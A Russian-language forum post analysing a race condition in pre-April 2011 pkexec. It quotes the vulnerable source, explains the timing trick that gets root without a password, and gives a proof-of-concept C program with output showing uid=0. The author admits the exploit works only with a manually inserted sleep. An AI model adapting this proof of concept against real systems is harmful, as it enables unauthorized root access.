Не знал куда запостить.
https://bugzilla.redhat.com/show_bug.cgi?id=692922
Везде, где есть pkexec до-апрельский, вроде можно получить рута. Только там race-condition и не понятно, как ее выиграть.
Может у кого будут идеи.
Итак.
./src/programs/pkexec.c:612 pastebin
Код:
if (uid_of_caller != getuid ())
{
g_printerr ("User of caller (%d) does not match our uid (%d)\n", uid_of_caller, getuid ());
goto out;
}
authority = polkit_authority_get ();
details = polkit_details_new ();
polkit_details_insert (details, "command-line", command_line);
s = g_strdup_printf ("%s (%s)", pw->pw_gecos, pw->pw_name);
polkit_details_insert (details, "user", s);
g_free (s);
s = g_strdup_printf ("%d", (gint) pw->pw_uid);
polkit_details_insert (details, "uid", s);
g_free (s);
polkit_details_insert (details, "program", path);
action_id = find_action_for_path (authority, path);
g_assert (action_id != NULL);
error = NULL;
result = polkit_authority_check_authorization_sync (authority,...);//cut
В самом низу идет вызов функции polkit_authority_check_authorization_sync. Если сделать так, что euid parent процесса будет нулевым (например вызвать setuid прогу в нем), то pkexec на этой строчке будет думать, что он вызван рутом и не будет спрашивать пароль. Но!
В самом верху идет проверка, uid_of_caller (который будет равен нулю, если вызвать setuid прогу в parent) и uid юзера, под которым запущена прога. Они не будут равны, все накрывается медным тазом.
Т.е. надо как-то рассчитать время так, чтобы в parent процессе выполнить setuid прогу только между if в начале этого кода и вызовом polkit_authority_check_authorization_sync в конце кода.
Если руками вставить sleep между этими участками и в parent процессе запустить setuid прогу только после начала этого sleep, то проверка в начале будет успешно пройдена, а к функции в конце parent будет иметь euid=0 и пароля не спросят:
Код:
synq@ubuntu:~/pkexec$ ./pk
I'm Darth
I'm Luke
pkexec: we're sleeping for 5 sec b4 polkit_authority_check_authorization_sync..
Darth: I've slept for 3 seconds, that should've been enuff, now: run chsh and be r00t!
Password: uid=0(root) gid=0(root) groups=0(root)
Это и является целью.
Код
pk.c:
Код:
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
pid_t pid;
/* Attempt to fork and check for errors */
if( (pid=fork()) == -1){
fprintf(stderr,"Fork error. Exiting.\n");
exit(1);
}
if(pid){
/* A positive (non-negative) PID indicates the parent process */
printf("I'm Darth\n");
sleep(3);
printf("Darth: I've slept for 3 seconds, that should've been enuff, now: run chsh and be r00t!\n");
execl("/usr/bin/chsh","chsh",NULL);
}
else{
/* A zero PID indicates that this is the child process */
sleep(1);
printf("I'm Luke\n");
execl("/home/synq/pkexec/polkit-0.96/src/programs/.libs/pkexec","pkexec", "/usr/bin/id",NULL);
}
return 0;
}